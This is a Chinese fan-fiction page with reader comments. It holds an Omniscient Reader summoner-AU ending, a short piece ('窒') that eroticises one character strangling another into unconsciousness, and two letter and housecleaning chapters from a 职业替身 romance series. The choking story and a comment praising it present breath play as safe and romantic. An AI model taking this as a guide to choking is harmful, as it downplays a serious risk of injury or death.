“那是一个碎片,但是当我看到他的时候,我就知道他应该在我的羽翼之下。”
那颗流星没有坠入“隐秘的谋略家”所在的世界,而是坠入了相邻的平行世界中。外神为此花了几十年的时间来准备这次入侵,这是一项大工程,即使祂已经成为了祂那个世界唯一的统治者也是一样。
刘众赫突然明白了外神的意思。平行世界的每一个“刘众赫”都没有他们的召唤物,而一个外来的碎片掉入了其中一个世界,变成了他的召唤物,金独子,救赎的魔王,在秘境里面牺牲自己的傻瓜。刘众赫是最幸运的那一个,而这种嫉妒足以让另一个“刘众赫”为此发动一场战争。
但是沉睡的公主在城堡被打破的时候苏醒了。
金独子苏醒在刘众赫的精神空间被强行破坏的时候,魔王出现在现实中,似乎对眼前的两个刘众赫产生了一丝茫然。不过他反应地更快,判断哪一个是自己的召唤师是深刻在本能里的东西,他很快就逼退了正在伤害自己召唤师的外神。
“这种戏码我真的不想再经历一次……”
金独子很快从刘众赫的记忆中读取了这三年发生的所有事,这是尴尬的,尤其在发现刘众赫在自己昏迷的时候郁郁寡欢的表现之后。
“你该让我自己选择,隐秘的谋略家,”金独子扶着刘众赫站起来,平静地注视着外神,“而不是想办法把我强行带走。”
外神的表情当然不好看。
“你的选择呢?”
金独子露出了一个虚假的微笑:“当然是我家的众赫。”
-
外神灾难消失得极其戏剧化。
最强召唤师刘众赫的召唤物苏醒的那一天,也就是外神全面撤回放弃入侵的胜利日。世界变得前所未有的和平,而刘众赫也几乎已经走完了故事的全部剧情。
“然后故事到这里就结束了。”
金独子合上书,他根本没有在念书上的故事,而是在回忆一些掺杂在记忆里的往事。这本书的名字叫《史上最强召唤师》,虽然有些烂俗,但是非常应景。比喻蜷在沙发上,鬼怪国王对这个新故事听得很认真。
“不,爸爸,难道你和那个世界的队长的故事就这么结束了吗?”
刘众赫也坐在沙发上,但是脸色很黑,金独子几乎猜到了他是在吃关于不到百分之一的金独子的碎片的飞醋。
“如果你想让这个主角混蛋生气的话,我还可以继续讲。”
“金独子!”
“爸爸,我要听。”
虽然这个真的很不适合当做亲子休闲时间的故事,但是比喻的意见是最重要的。这个不知道活了多少年的鬼怪学会了撒娇来获得她想要的东西,金独子想,并且不知活了多少年的主角仍然会像个毛头小子一样吃奇怪的飞醋。
“好吧,我继续讲。”
碎片金独子的记忆和力量都并不稳定,在对付秘境的主宰之后本来就濒临崩溃的边缘。但是三年的休养也起到了一些作用,金独子出现在最后的战场上,赶走了外神,然后就失去了最后一点故事残留的力量。
在这场战斗中,刘众赫的精神空间也被彻底破坏了。但是两人都并不在意这件事,毕竟刘众赫更愿意把金独子当做一个独立的人来看待,而不是听从他命令的召唤物。
最强的召唤师在大战之后退隐,不久之后与他的前召唤物结婚。他们过了很长一段退隐的生活,然后开始环游世界。金独子还是很喜欢阅读,他在某个已经失落的文明的遗迹里找到了一个故事,关于一个读者和他最喜欢的小说的故事。
“这是你的来历吗?”
“或许吧。”金独子心里早已有答案,但是这个世界里同样有他珍惜的一切。他踮起脚亲吻了一下丈夫发白的鬓角:“我不会离开你的,我想,即使少了我这一点微不足道的碎片也无所谓,他们的故事也会走向圆满的结局。”
或者说,对于曾经只是一个碎片的金独子来说,在经历漫长的漂流与沉睡之后的新世界足以成为全部。直到召唤师刘众赫的故事彻底结束,连宇宙都和故事的主角一同化为尘埃,这个碎片才姗姗地归来。
“我昨天才知道这个故事。”金独子用手指指向自己的太阳穴,“这种隔三差五获得一个故事的感觉不是很惊喜吗?”
“一点也不。”
刘众赫沉着脸说,遥远宇宙的故事他也见过很多,甚至在旅途中亲身经历过一些,但是他从来没有找到金独子的碎片,也从来没有见过金独子。他的嫉妒与不满表现得太过明显,以至于金独子有点想嘲笑这个幼稚的主角。
“明天就该轮到队长讲故事了。”比喻笑眯眯地说,“队长在宇宙的时候也见过很多奇怪的世界呢,虽然我已经知道了,但是总该给爸爸分享一下。”
“现在是睡觉时间了,比喻,你明天还要上学。”
金独子还是忍不住把比喻当做一个小孩来看待,他亲吻了一下女儿的额头,将她送回到卧室里。
然后,他不得不面对一个低气压的主角,属于这个世界的,现在会在床上奉行“我要杀了你”的准则的翻车鱼混蛋。
“众赫啊,睡前故事也讲了,我给你一个晚安吻我们就睡觉好不好?”
“你觉得行吗,金独子?”
-end-
写到谋出场的时候真的好想笑,口嗨时脑了一大堆的剧情写出来就只有短短的几行
又是大纲流写作,脑到即爽到
# 众独
热度 2793评论 31
热门评论
是海海
老謀野心是擁有一個各階段金独子後宮嗎?
比喻好會撒嬌,挖隊長的坑也很擅長。
最後是擁有独子完整的愛的那位主角,你所有的醋意都會被解讀成凡爾賽。
284
瑜安吶Yuan
立秋老师真的好棒!果然不管是哪个刘众赫都没有办法拒绝金独子的魅力hhh(又是老谋偷家失败的一天)[老福鸽/吹爆太太]
33. 【众独】窒
qwq立秋
【众独】窒
xp短打
ooc预警
谢谢,我觉得掐脖子很涩啊
------------------
他早该知道的,刘众赫这个疯子在不满意的时候就只会采用暴力行为,丝毫不顾及所谓的同志情谊。即使他们刚刚才结束一个场景,即使他们刚刚都受了不轻的伤。
“我七你三,”金独子嘶嘶地说,“刘众赫,把我放下来。”
“五五分。”主角不为所动,他的手仍然牢牢禁锢在星座的脖子上,若非是上一个场景的后遗症,他现在想要抓住金独子没这么容易。黑红的粘稠液体从指缝间溢出,浸满了主角的整个手掌。星座的手指无力地抠动手与脖颈之间的缝隙,完全无法撼动被抓住脖子提起来的被动姿势。
金独子的脖子上有伤口,血源源不断地流出,但是治疗的技能总能让它们停下。死不了。
“臭小子,你再这样我就要死在你手里了。”
金独子后背紧紧地贴在粗糙的树皮上,他不知道自己已经糊了多少血在背后的那棵树上。脸上的血渍几乎挡住了他的视线,边缘一阵阵发黑,到底是因为之前的失血还是现在的窒息引起的他也分辨不清。金龙的心脏跳动的时候总有一种抽痛感,如同在死亡边缘的无意义警告。
“金独子,”
金独子的呼吸停顿了一霎。混蛋,像抓一只鸡一样把一个强大的星座这样提起来像什么样子。如果不是在上一个场景受了过重的伤,他至于应付不了这只翻车鱼吗?
“不要耍赖。”
主角饱含怒气的发言证明这完全是金独子在出尔反尔。确实,在进入场景前金独子说过奖励五五平分。但是,狡猾的星座才不在乎这点面子,占点便宜怎么了?
金独子翻了一个白眼,往下瞟的时候才发现自己的视角比刘众赫高,他竟然能看见主角凌乱卷毛中间的发旋。
少见啊,星座“啧”了一声,努力从肺里挤出一点气体:
“我......出的力更多,分多点——”怎么了?
最后的几个字只剩下口型,嘴唇颤抖着把逞强和戏谑的话吐出来。他乐此不疲地在主角的愤怒上面火上浇油,看着刘众赫的失态总是能给金独子极大的乐趣,或许这就是他毕生的娱乐目标。
即使代价有些惨重。
手指的力度突然放大了,金独子哽咽一声,微弱尖细得像是一只流浪猫的哭嚎。他张开嘴,试图攫取一点空气,但是所有的通道都被那只手给死死掐住。模糊黑暗的视觉中炸开白色的光点,飞快的旋转着,试图把他带入另一个世界。
刘众赫这小子总喜欢把他推到死亡的边缘,从第一次见面就这样。鱼龙在他身下咆哮着,他那时没法看见下方,悬空的双腿不自觉地绷直,想要掩盖紧张而慌乱的对坚实地面的寻找。
但他始终与刘众赫对视,用自负而得意的眼神注视着主角。
他那时说的话是:“放手吧,你这个混账。”
金独子现在无话可说。
肺里的酸涨感熟悉得就像他的老朋友,然后很快变成又痒又麻的疼痛。血管被心脏的挣扎带着抽搐,然后力气从四肢开始流逝,金独子的手不得不松开,落下垂在身侧。
“平分。”
刘众赫的话听起来遥远到有些失真,像是最后的通牒。
该死的,他才不会是服软的那个人。
白日幽会被打开了。
【金独子:我受了这么重的伤,应该多分点。你这个混蛋翻车鱼,不知道体谅伤员吗?】
“我告诉过你后退。”
刘众赫完全知道自己的愤怒到底来自于何处,这个该死的星座白痴仗着自己的地位在场景里横冲直撞,丝毫不顾及他同伴在后面担惊受怕。他那时在后面茫然无措的伸出手,看着魔王的翅膀被刺穿,从天上被击落——
简直是噩梦一样的场景。
而现在,即使挂着一身伤也要在跟他嘴硬,仿佛比自己的命更重要的事就是和他做对一样,丝毫不知他刚才近乎失态的恐慌。
【金独子:我帮你挡下那么多幻觉,你不知感恩就算了,还想现在掐死我,是嫌我没死够——】
“金、独、子。”
刘众赫感觉自己要气疯了。他的手不自觉地使了更大的力度,血管在他的手指下疯狂地跳动着求饶,但是它的主人丝毫不在意自己的命。
至少表面看起来是这样。
星座仍然在笑。他甚至还在想象被主角的手握在他脖子上的样子,虎口的剑茧因为血液的浸润而失去了能带来刺痛的粗糙。也许这个混蛋把手指蹭到了脖子上的伤口里,他那里产生了被刺穿的尖锐刺痛。
但是这都是外在的,微不足道的威胁。
【金独子:三七分,不然你就掐死我。】
真正令金独子感到要命的是无法避免的窒息感。
当然,和溺水不同,也不同于被关在封闭的盒子里慢慢死去。那不是某种可以挣扎却无力的死法,更不是某种金独子喜欢的自杀方式,毕竟即使是以前,他也完全没有跳进汉江的想法。
这不一样。他是在和翻车鱼吵架,不是自杀。
毫无反抗地被掐住脖子,然后死亡就会像长满玫瑰的藤蔓一样从另一个人的手臂上爬过来,肆无忌惮地汲取他的空气与生命。罪恶仿佛潮水一样倒灌出去,比起身体的沉重,金独子对这种灵魂的轻浮感几乎上瘾。
他偶尔会怀疑自己,这难道会是他不停惹恼刘众赫的原因吗?
就为了一时的窒息所带来的快感,他自嘲道,不管是不是真的,没想到自己还有这种特质。在那之前,如果不是之前的场景受的伤,他肯定不会让事态滑落成这样。
他的灵魂开始缩紧,在肺里尖叫喘息。不由分说的兴奋来自于死亡的威胁。
蓝色的对话框弹动了一下,金独子没有看另一个人发来的话语。相对孱弱的化身身体不允许他在这种情况下还去跟刘众赫顶嘴——
死亡的阴影从上而下地笼罩他,粗糙的树干,树叶遮蔽的阳光,几乎凝为实质的空气。金独子的心脏砰砰跳着,声音越来越大,正在大声地宣布倒计时的终结。
在黑暗没顶之前,一个还算理智的想法像流星一样从他的脑海里划过。
他会割断这个翻车鱼的喉咙作为报复的,在下一次。
-
刘众赫紧皱着眉头,松开了手。
这不是第一次了。
正是因为已经有过太多次,他清楚了底线所在。就像是踩在悬崖的边缘,落石掉入深渊,而他站在界限处窥探。
-
“没有下一次了,金独子。”
金独子靠着树,被主角一只手揽住腰所以没有狼狈地滑下。他来不及露出一个胜利的微笑,只是拼命大口喘息着,生理性的泪水不知何时布满了他的整张脸,伤口微小的刺痛到现在才被几乎瘫痪的神经重拾起来。
他刚刚肯定短暂地失去过意识。
现在的姿势让刘众赫靠的很近,他被树和主角夹在中间,狭小的空间让空气难以流通。金独子没有感觉好一点,他用力推刘众赫的肩膀,试图让主角走开一点。
刘众赫没有动。
金独子恼怒地认为这是主角对他的不信任在作祟,他的信誉分在刘众赫那里已经是负数了。星座确认了接收奖励,得到了一个装有sss级治疗药水的瓶子,大方地倒出三成的药水装入另一个空瓶子里。
他把三成的药水递给刘众赫,刘众赫接了过去,但还是没有放开他。
另一个躯体的热量与挤压让金独子没能重新找到呼吸的自由,星座气愤地瞪着毫不退让的化身,他现在是全靠刘众赫强壮的手臂才能站在原地,并不意味着这个混蛋就要跟他面对面地贴在一起。他一直不习惯这样的亲密距离,但是另一个人总是锲而不舍地热衷于将他逼到无法退缩的角落。
不同于刚才,金独子没有被举在树上,这种身高被压制的感觉让他很不好受。他拍了拍刘众赫的另一只手,有气无力地,起不到丝毫作用。
“行了,刘众赫,我已经把药给你了,快把我放开。”
金独子没有注意到自己的声音因为刚才的窒息而有些沙哑,脸颊因为充血而有些微红,也没有看见刘众赫的表情并没有他表现出来的那样愤怒,几乎是可怕的冷静,但是眼瞳的深处翻涌着另一种情绪。
金独子应该熟悉这种情绪的,他看见过太多次了。但更多的时候,就像这次一样,他什么也没有看见。
无法做出应对,此事也就无法善终。
“金独子,”主角沉声说,他的手放回到了那个纤细而脆弱的部位,上面还有他刚刚留下的瘀痕,与他的手恰恰吻合。与剑柄不同,他手指触碰的是柔软的皮肉,里面是坚韧的骨,但是同样在呼唤着他的掌控与抚摸。
星座僵住了。
“你喜欢这样吗?”
被掌控者的喉结在他的手心里小心地滚动了一下,刘众赫听见了一声啜泣,星座脸上未干的泪水来作为回应。
“刘众赫你这个疯子——”
剩下的声音被他亲手扼住了。
-
主角想,金独子喜欢这样。
从第一次看见这个普通的工薪族开始,他的手就开始发痒,想要抓住点什么。手腕太细了,脚踝不够致命,他不假思索地抓住了这个陌生人的脖子,就和现在一样——
金独子在他手里艰难地呼吸着,像被钉住翅膀的蝴蝶,颤抖着,生死全在他的一念之间。这能给人带来一种近乎于扭曲的掌控感与快感,满足刘众赫内心隐秘的欲望。
他不会让金独子死的,他要让这个星座活着。
刘众赫从近乎虐待的禁锢中去寻找这种不健康的安全感。
他喝下了手里的药水,把药水含进嘴里,然后去亲吻星座的嘴唇,把所有的液体都渡了进去。被掐住喉咙的星座拒绝吞咽,刘众赫舔过血腥味的上颚,勾弄里面的
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软舌,逼着生理性的反射出现才达成他的目的。
金独子的瞳孔放大,终于意识到了主角的浪费行为。这个狗崽子竟然把拿到的奖励用在他身上——这是赤裸裸的浪费,这个药水是用来应付紧急情况的。
【金独子:你这个白痴,这个药水不是用在这里的】
刘众赫用舌头压制住星座的反抗,生理性的吞咽反应让那些药水最终全都被咽下。药水是苦涩的,但两人的嘴里全是血的甜腥味。他暂时不想松开,于是选择同样的回击方式。
【刘众赫:否则你就会浪费一次复活的机会——然后我只能带回一具愚蠢的尸体】
【金独子:那也是因为你,你这个杀人疯子】
刘众赫从喉咙里发出一声不以为然的闷笑,抓住腰的那一只手松开,掀开沾满血迹的白色大衣和破破烂的烂黑衬衫,满意地摸到那里原本狰狞的伤口开始慢慢消退。他将血液抹得到处都是,用手指刮蹭正在愈合的伤口,每一次都会引起星座轻微的颤抖。
粗暴的抚摸让金独子不适的扭动身体,刘众赫抚摸过的每一寸皮肤都在发痒,他不知道这是否是药水的效果。以这种灌药的方式,他刚才没有被呛住真是个奇迹。苦涩的味道从咽喉处绵延到胃里,压榨神经的感知余力又抚平一些麻木的钝痛。
下意识的深呼吸被外力中止,短浅急促的心跳被黏糊糊的沾着血的手覆盖。
金独子想要逃跑,也该逃跑了,但是他被主角掐着脖子禁锢在原地。刘众赫的手与亲吻共同造成的窒息感始终让他精神的弦死死绷紧,如果再久一点,这根弦也许会断掉,他也许会崩溃掉。
紧绷的不只他一人。
到最后崩溃的肯定也不只他一个人。
他们的嘴唇仍然紧紧贴在一起,撕咬吮吸无非是下意识的动作。星座睁开眼睛,刘众赫的头发上还结着血块,满脸的血渍不比他好到哪去。药水让他恢复了一点体力,他颤颤巍巍地抬起手,捧住面前这个混蛋的脸,加深这个由肾上腺素催动的吻。
这个主动的迎合点燃了身体间的温度,刘众赫在他身上的动作更加没有章法,金独子轻易地感受到了另一个人手臂肌肉的紧绷和克制不住的颤抖,还有口腔里愈发肆意和暴力的侵略与掠夺。手指扣进了未完全愈合的伤口,金独子哽咽一声,伤口处尖锐的痛觉让他几乎忘了这还算得上是一个疗伤的吻。
激素冲昏脑子了吧,这小子。
它会从一个惩罚,变成一种欲望,火焰像点燃枯叶一样灼烧着他的肺,让血液和苦味变成金块在胃里下沉。疼痛在他眼前噼里啪啦地炸成火花,寸寸打碎他忍耐与自制的神经。
这是刘众赫这个臭小子的错。他迟早有一天会被这个混蛋主角给气死。
【刘众赫:你必须还给我三成的药水】
金独子气的狠狠咬住另一个人的舌头,新一轮的血腥味再度扩散。
-
说实话,他们因为意见不合而大打出手已经是一种常态化的日程,金独子公司里没有人会因此大惊小怪。
“啊,你问这次又是因为什么?”
韩秀英露出一个嘲讽的笑,嚼着柠檬糖含糊不清地解释道,“战利品分配不均呗,至少表面上是这样,其他的你得去问他们本人。”
他们的公司代表看上去还算完好,但是脖子上的手印怎么看也不像是会在场景中受到的伤。
另一个相对更加狼狈的同行者嘴角溢血,似乎也没有擦拭的打算。
也许是拿嘴巴打架吧。
郑熙媛得出来结论,微笑着告诉自己的背后星。于是大天使长隔着频道开始尖叫,说不出来是激动还是错失亲眼见证的机会的悔恨更多一点。
“不,乌列尔,不是的,我们没有那种爱好,这不是情趣。”
星座很快开始对着天空解释,即使知道这根本起不到作用。他愤愤地瞪了另一个始作俑者一眼,刘众赫与他目光相接了一瞬又迅速离开。
金独子呼吸一滞,窒息感令人晕眩地砸了下来。
妈的。
他下意识地用手摸上自己的脖子,被握住的触感幻觉仍然存在,隐隐发痛。
-end-
放飞自我
# 众独
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Hyaline
天呐涩死了睡前翻到简直给我精神的可以跳起来打拳(众独太适合窒息play了而且这篇里面反正玩不死的这种安全感让人恨不得再得寸进尺一点太太写的太好了我太爱了我有这种爱好所以请二位再多来点呜呜呜
203
是海海
有一種暴躁,是因爲????不滿。這兩個人就該不管不顧的狠狠????一場,主角積累的戾氣和情緒就都沒了。讀者的犧牲,就應該犧牲在治癒萬年易感期的主角身上 [老福鸽/狗头]
73
阿初
迷恋濒死的感觉,是因为那无法呼出于口的爱意么
34. 【晏周】生日-DAY17
月面廃墟
【晏周】生日-DAY17
原文走向三十题
*本篇为第一人称
-
周翔:
展信佳。
之前和你说过,三月份的时候我接了第一个角色,现在那部电影终于上映了。我没去首映式,但助理给我拿了几张票,不知道你愿不愿意回来陪我去看?不愿意也没关系,我们可以包场,你之前一直念着的那家IMAX影院去年装修好了,人很多,我们可以挑一个工作日去。
我不知道这部电影的反响如何,不过我希望它能多上映一会儿,说不定你哪天就能看到我了?就算不去看也没关系,制片方剪了一个有我露脸的预告片,你站在电影院门前,哪怕你再也不愿意进去了,在门外也能看到我。
我基本没有台词,最多只需要露出笑脸,但我做不到,编剧找我讲了很久的戏,但最后我还是没办法笑出来。我和导演说可以假笑,他不同意,就把这段都删掉了。一部电影一百三十二分钟,最后一共有两分五十秒可以看到我的脸。但我害怕我演技太差,你看得打瞌睡,就错过我了。
我坐在角落休息的时候就会突然想起你,就好像我只是在等你下班,被摄像机环绕住的某一个演员,转过头来就会是你。你看到我,又朝我笑,那时候我应该也对你回以笑容了吧?我在读剧本的时候被人碰到肩膀,我会以为是你,但那只是个满脸僵硬的工作人员,被我吓得不敢说话。其实我觉得我没有这么凶,因为这些之外的事我一点儿也不想管。
我实在太累了。
如果你听到的话,我猜你可能会让我睡一觉,睡醒了就不累了。但睡眠对我来说已经是一种奢求了,我睡不着——不对,我不敢睡,只要我一闭上眼睛,脑子里浮现的就是那些不真实的虚像,有时候我坐在家里,反反复复接通那个陌生的贵州号码,有时候我站在山顶,你躺在尖锐的石堆中朝我招手,我甚至不能确定那是你。
我当然知道这是假的,你一定在某个地方好好的。但又过了很久之后,我连那样的你都梦不到了,我不知道这是好事还是坏事,但我很想你。
公司最近一直在忙专利收购的事,我几乎一整天要待在公司里,不过忙起来也好,不知不觉时间就过去了,距离你回来的那天就又近了一点。但是时间在我这里好像失去了尺度的意义,因为人的每一天都是这样过的:吃饭,睡觉,工作,睡觉。我有时候会花一点时间想你之前做过的事,但后来就不敢了。
今天收到银行的短信,才发现生日又到了,这已经是第三年了。
第一年我还和你不熟,错过了生日也不怪你,第二年我过得浑浑噩噩,连你的生日也忘记了,不过我有给你补一份礼物,就放在那串小狗吊坠旁边。写到这里,我又觉得你实在是狡猾,明明第一年就说过要给我买生日礼物,可是……算了。
那对袖扣我一直放在抽屉里,或许你是希望我戴上他的,但我怕它磕着碰着,又怕它丢了,只在家里戴过一小段时间。等你回来再戴给你看吧。
还有之前你也说过要给我办公室买仙人球,你肯定也是忘了,所以我自己买了一盆,实在是丑,不知道为什么你会喜欢这种东西。
家里的盆栽我也一直养着,但养得可能不太好。我不敢一直住在那里,又隔三差五才会记得浇水,我有想过将它们带走,但后面我想,那些东西还是留在原位好了,不然你在楼下看,可能连自己家的窗台都找不到。最靠近里面的那盆吊兰前段时间总是蔫蔫的,我按网上的说法配了营养液,它的叶子看上去比之前好很多,最近还开了花。
满打满算我认识你两年,可是你离开我的时间已经比我们在一起的时间长了。
我有在网上看过别人找猫,放一把剪刀开口指向门或窗,再放一个装满水的碗,猫就自己回来了。你不要笑我,因为我真的放了把剪刀在门口(我觉得你也不会从窗里跳进来),所以你开门进来的时候记得绕着剪刀转六圈,左边三圈右边三圈。
好吧,我知道这实在是有够蠢的,猫回来的无非是因为自己饿了。所以我买了个蛋糕,就是你喜欢的那家店的草莓慕斯,吹了蜡烛之后许了几个愿望。愿望说出来就不灵了,但没人说过不能写出来吧?
第一个愿望是希望你快点回来,如果你听不到,神明也做不到的话,那就让我变得更出名点好了。
其实名气对我来说是很困扰的事,我一点都不喜欢站在聚光灯下,也不喜欢一举一动都被人监视的感觉,但说不定就有一点多余的名气落进了你的耳朵呢?
我试图熟悉你曾经待了很多年的圈子,帮我做事的助理是个话很多的人,或许你能和他聊得来,但我不太想让你们接触,所以我把他讲的八卦都记住
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了,有机会可以讲给你听。我挑了很多剧本,从现代剧到古装剧都有。你之前说自己的长相戏路很窄,但我不觉得,只要剧本合适了,谁都可以当主角,你当然也可以。如果你都不满意,之前说过的事情还算数,我把导演找过来,要拍什么完全由你决定。对了,我还认识了一个唱歌很好听的人,以后你要是拍电影,可以让他负责音乐。
今晚我蒸了螃蟹,蟹膏很少,干瘪的一小只,但是我调的料很好吃。一般来说要等到你生日那会才适合吃螃蟹,所以今年你要回来吃吗?我跟着网上学了剥螃蟹的手法,已经可以把壳都拼回一整只完整的螃蟹了。
等合约正式签下来我就有一段时间休息了,我哥总劝我找个地方去旅游,但我每看到一个地方就会想起你,听说维也纳的每一节台阶踩下去都会有音乐,沿着佛罗里达的海岸线一直走下去就会找到青春之泉,也许我们都可以去看看。
下个月你过生日的礼物已经准备好了,不知道你会不会喜欢。
这是我今年给你写的第六封信了,我从公司附近的邮局寄出来,地址填到这里,这样就仿佛真的是你能收到。但我很久没有打开信箱了,不知道那些信是被退回了还是堆在信箱里。我知道我做过太多不堪的事,每每想起这些,怨恨你不辞而别一年之久的心情便消散的彻底。但是它们也只是一捧被吹散的灰而已,时间一过,又密密麻麻地沉在心底了。
灰尘是没重量的,时间也是没重量的,但我时常感觉自己的一颗心沉重的好像没有力气再跳动了,或许我是个要上发条的机器人?不过机器人是没有心的,也不会想我这样拥有希望。
我还是想找到你,这是我今天许下的最后一个愿望了。
希望不要觉得我太贪心。
晏明修
2020.09.06
TBC.
# 职业替身# 晏周
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狂乱进食进行曲
ww,这篇写得好好,是晏晏视角的那两年期间orz想念翔哥想得要命实在不行一定得找个寄托的晏晏orz
9
丹若胜火
呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜呜我真的会哭呜呜呜呜,妈妈又心疼小面包了呜呜
35. 【晏周】大扫除-DAY14
月面廃墟
【晏周】大扫除-DAY14
原文走向三十题
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周翔打开阳台的木柜子,与记忆中一致,那儿整整齐齐堆着不少工具。他拆开胶皮手套戴上,又将清洁剂摆上台面。并不是没拆封的,每一瓶都多少有用过的痕迹,牌子也是他曾经惯用的那几种,只不过在包装上与他记忆中的那些有细微的差别。
他摇了摇那瓶晃荡的玻璃水,一时间不知道说什么好。半晌从柜子深处拣出条包装完整的抹布浸了水,丢进塑料小桶,拎起来走向书房。
桌上还摆着晏明修没合起来的电脑,半杯水被当成镇纸,压住打卷的文件。周翔记得那个马克杯——三年前他从网上买回来的一对,杯壁印着和晏明修格格不入的卡通简笔画。他有事没事就喜欢买这些成对的小玩意回来,但晏明修对此兴趣缺缺,在他的记忆里,晏明修似乎更青睐于随便找一个玻璃杯用。
他不知道那些东西对晏明修是否重要,再三考虑下还是绕过书桌,去清理书架的落灰。
比他想的干净很多。
他抹去书柜外沿那层薄薄的浮灰,看水渍从片收缩成点,很快就在干燥的暖气室内蒸发不见。很久之前他的书架基本是空的,除了几本相册,先前用过几次的专业书籍和一些小说之外就别无他物。
晏明修长住之后,他知道对方喜欢看书,便将书柜收拾出来,分了一半给晏明修,如今那一半被填的满满当当,而另一侧却只是零散地堆了几本书,从中间隔断的距离遥远得像错失的时间。他伸手去拿摆在那里的相框,手指擦过玻璃面,反倒落下了灰印。
周翔摘了手套,从书架中层抽出那本陈旧的相册,老化的塑料外封被谁密密实实地用胶带缠住四角,又重新包上胶皮,崭新得像刚买回来。他捏得不够紧,从中便掉出一张纸片,轻飘飘落在地上。
像一张书签。他捡起这张空白的硬卡纸,也许是不小心夹进去的。他胡乱塞进扉页,便将相册重新放回原位。
从书房走到卧室,这里处处有人生活过的痕迹。挂在门后熨好的西装,叠的整齐的家居服,扔在飘窗上没来得及洗的三件套,抽屉里收纳的领带和配饰,床头垂到地上的数据线,不多,但足够证明晏明修似乎偶尔会住在这里。他拉开衣柜,那些属于自己的过季衣物并没有意料之中的陈旧味道,只有浅淡的洗衣液清香,像是不久前才洗过的,隐隐夹杂了一股晾晒过后的温暖气息。
周翔是个念旧的人,他认定的做法一般就不会轻易变化。包括洗衣服——他原先在超市里趁着折扣买的洗衣液,觉得好闻,便一直延续用了下来,他也喜欢趁着出太阳将衣服被褥全都晾上阳台,晒得暖烘蓬松,便连睡觉都多了几分舒适。对此晏明修不止一次地泼他冷水说“被子上的味道只不过是某些微生物晒死之后留下来的味道”,但他不在意,反正总不会让晏明修帮忙去收了被子。
所以晏明修为什么要这么做?
周翔伸手轻抚那些柔软的布料,最终也没舍得将衣服扔掉,只能徒劳地重新合上衣柜。手落在把手上,还没来得及松开,又想起什么似的猛地拉开下层的抽屉。
他之前心血来潮,抓着晏明修一起买了情侣装——说是情侣装,也只不过是尺码或者颜色不同的同款衣服罢了。晏明修当时是没有意见,可是两人能有机会穿这身衣服的场合也是少之又少,久而久之便被周翔收起来,堆在柜子里忘记了。如今他再度打开抽屉,晏明修前几日拿给自己的睡衣便摆在最上方,左侧是他的,右侧是晏明修的,浓郁地泛着熟悉的洗衣液香。
他不是傻子,晏明修也不是
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傻子,但对方最后只是选择了这样一种做无用功的办法去试图保留他在这间房子里留下的所有痕迹究竟是为了什么?
他缓缓合上抽屉,如释重负般地叹了口气,又重新坐回床上。
床单是晏明修昨晚新换的,原先他常用的那套深灰色格子布的。大概是洗的次数多了,几年下来有些泛白。他抬头正好对着敞开的衣柜,没拆封的三件套整整齐齐堆在柜顶,所以晏明修为什么偏偏选了这套呢?
周翔试图说服自己不过是凑巧而已,但就和晏明修试图通过相同款式的衣服讨好他一样,这个家里的每一件东西都会让他情不自禁地想起曾经和晏明修生活的点滴。而且比起晏明修带给他的那些不堪,在这个家里,他们留下的回忆更多的是美好。
美好又能如何呢?周翔自嘲地笑了笑,仔细打扫过卧室,又来到厨房,不经意间扫过冰箱上粘着的一张便利贴。
“汤在锅里,喝的时候记得自己热一下^^"
晏明修给他做了饭?他不是去公司吃了?
周翔下意识皱眉,又后知后觉的发现那是自己的字,三年的时光能让墨水褪色,只剩下淡淡的一层字迹,早就失去粘性的便利贴被冰箱贴牢牢粘在原处。但偌大一个冰箱,门上只孤零零贴了一张泛白的纸,又不免让人觉得可笑。
他心里突然密密麻麻地疼了起来。
算了。他叹了口气,那就等晏明修回来,给他做顿饭吧。
TBC.
# 职业替身# 晏周
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冰箱上那个字条我没绷住?三年前翔哥的爱和3年来一直保存着看着它晏晏,,晏晏想把翔哥对他的爱的证明保存下来,也把自己对翔哥的爱准备好等翔哥回家